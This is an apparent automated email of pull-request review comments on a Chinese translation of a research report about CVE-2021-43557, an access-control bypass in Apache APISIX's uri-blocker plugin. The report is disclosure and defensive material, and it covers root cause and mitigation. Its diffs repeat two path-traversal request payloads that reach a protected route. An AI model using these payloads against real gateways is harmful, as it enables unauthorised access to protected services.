+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因

Review comment:
       ```suggestion
   ### 漏洞解析
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由
+- 开启 `proxy-rewrite` 来删除前缀
+- 为 `protected-service` 配置了 `uri-blocker` 插件。这个插件会阻止任何以 `/protected-service` 开头的请求
 
-- It creates routes for `public-service` and `private-service`
-- There is `proxy-rewrite` turned on to remove prefixes
-- There is `uri-blocker` plugin configured for `protected-service`. It can look like mistake but this plugin it about to block any requests starting with `/protected-service`
+## 漏洞复现
 
-## Exploitation
+在这里，我使用的是 **2.10.0** 版本的 Apache APISIX。
 
-I’m using APISIX in version **2.10.0**.
+在 minikube 中接触到 Apache APISIX 路由是相当不方便的：`kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`。
 
-Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`. To ease my pain I will write small script that will work as template:
+为了较少重复操作，我自己配置了一个小脚本，作为模板工作：

Review comment:
       ```suggestion
   此外，我也写了一个脚本来减少重复的操作：
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由
+- 开启 `proxy-rewrite` 来删除前缀
+- 为 `protected-service` 配置了 `uri-blocker` 插件。这个插件会阻止任何以 `/protected-service` 开头的请求
 
-- It creates routes for `public-service` and `private-service`
-- There is `proxy-rewrite` turned on to remove prefixes
-- There is `uri-blocker` plugin configured for `protected-service`. It can look like mistake but this plugin it about to block any requests starting with `/protected-service`
+## 漏洞复现

Review comment:
       ```suggestion
   ## 复现步骤
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线
+- 自定义插件的开发者不知道 `ngx.var.request_uri` 变量是不可信任的状态

Review comment:
       ```suggestion
   - 自定义插件的开发者或许不知道 `ngx.var.request_uri` 变量是不可信任的。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线
+- 自定义插件的开发者不知道 `ngx.var.request_uri` 变量是不可信任的状态
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
-- Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
+同时在搜索 `var.request_uri` 相关用法时，我猜测上述漏洞或许对 [authz-keycloak 插件](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 也有影响。
 
-Search for usage of `var.request_uri` gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.
+具体细节详情可以参考[这段代码](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578)。如果 keycloak 方面没有进行相关规范化，那么出现漏洞的可能性就很大。
 
-### Mitigation
+### 缓解措施
 
-In case of custom plugins, I suggest to do path normalization before using `ngx.var.request_uri` variable. There are also two other variables, high probably normalized, to check `ctx.var.upstream_uri` and `ctx.var.uri`.
+关于此漏洞的解决方法，我个人建议如果是使用自定义插件的话，可在使用 `ngx.var.request_uri` 变量前进行路径规范化的相关处理。
+
+同时可以额外检查下 `ctx.var.upstream_uri` 和 `ctx.var.uri` 这两个变量，虽然可能已经被规范化了，但防患于未然。
 
 ## Skipper
 
-Skipper is another ingress controller that I have investigated. It’s not easy to install it in kubernetes, because deployment guide and helm charts are outdated. Luckily I have found issue page where developer was describing how to install it. This ingress gives possibility to implement external authentication based on [webhook filter](https://opensource.zalando.com/skipper/reference/filters/#webhook):
+Skipper 是我个人在进行上述安全漏洞调查时接触到的另一个 Ingress Controller。因其内容久远未更新，在 Kubernetes 中安装它并不容易。幸运的是，我在开发者文章里找到了如何安装它的相关内容。
+
+这项 Ingress 提供了基于 [webhook filter](https://opensource.zalando.com/skipper/reference/filters/#webhook) 实现的外部认证可能性。

Review comment:
       ```suggestion
   这项 Ingress 提供了基于 [WebHook filter](https://opensource.zalando.com/skipper/reference/filters/#webhook) 实现的外部认证可能性。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线
+- 自定义插件的开发者不知道 `ngx.var.request_uri` 变量是不可信任的状态
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
-- Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
+同时在搜索 `var.request_uri` 相关用法时，我猜测上述漏洞或许对 [authz-keycloak 插件](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 也有影响。
 
-Search for usage of `var.request_uri` gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.
+具体细节详情可以参考[这段代码](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578)。如果 keycloak 方面没有进行相关规范化，那么出现漏洞的可能性就很大。
 
-### Mitigation
+### 缓解措施
 
-In case of custom plugins, I suggest to do path normalization before using `ngx.var.request_uri` variable. There are also two other variables, high probably normalized, to check `ctx.var.upstream_uri` and `ctx.var.uri`.
+关于此漏洞的解决方法，我个人建议如果是使用自定义插件的话，可在使用 `ngx.var.request_uri` 变量前进行路径规范化的相关处理。
+
+同时可以额外检查下 `ctx.var.upstream_uri` 和 `ctx.var.uri` 这两个变量，虽然可能已经被规范化了，但防患于未然。

Review comment:
       ```suggestion
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线
+- 自定义插件的开发者不知道 `ngx.var.request_uri` 变量是不可信任的状态
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
-- Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
+同时在搜索 `var.request_uri` 相关用法时，我猜测上述漏洞或许对 [authz-keycloak 插件](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 也有影响。
 
-Search for usage of `var.request_uri` gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.
+具体细节详情可以参考[这段代码](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578)。如果 keycloak 方面没有进行相关规范化，那么出现漏洞的可能性就很大。
 
-### Mitigation
+### 缓解措施

Review comment:
       ```suggestion
   ### 处理措施
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线
+- 自定义插件的开发者不知道 `ngx.var.request_uri` 变量是不可信任的状态
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
-- Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
+同时在搜索 `var.request_uri` 相关用法时，我猜测上述漏洞或许对 [authz-keycloak 插件](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 也有影响。
 
-Search for usage of `var.request_uri` gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.
+具体细节详情可以参考[这段代码](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578)。如果 keycloak 方面没有进行相关规范化，那么出现漏洞的可能性就很大。
 
-### Mitigation
+### 缓解措施
 
-In case of custom plugins, I suggest to do path normalization before using `ngx.var.request_uri` variable. There are also two other variables, high probably normalized, to check `ctx.var.upstream_uri` and `ctx.var.uri`.
+关于此漏洞的解决方法，我个人建议如果是使用自定义插件的话，可在使用 `ngx.var.request_uri` 变量前进行路径规范化的相关处理。

Review comment:
       ```suggestion
   关于此漏洞的解决方法，我个人建议如果是使用自定义插件的话，可在使用 `ngx.var.request_uri` 变量前进行路径规范化的相关处理；同时可以额外检查下 `ctx.var.upstream_uri` 和 `ctx.var.uri` 这两个变量，虽然可能已经被规范化了，但防患于未然。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -40,9 +42,9 @@ helm install apisix apisix/apisix \
 kubectl get service --namespace ingress-apisix
 ```
 
-In case of problems follow [official guide](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md).
+> 如果安装时出现问题，请参考[官方指南](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md)。
 
-To create _ingress route_, you need to deploy `ApisixRoute` resource:
+接下来创建 Ingress 路由，在这里就需要部署 `ApisixRoute` 资源：

Review comment:
       need @tokers's confirmation.




-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@apisix.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org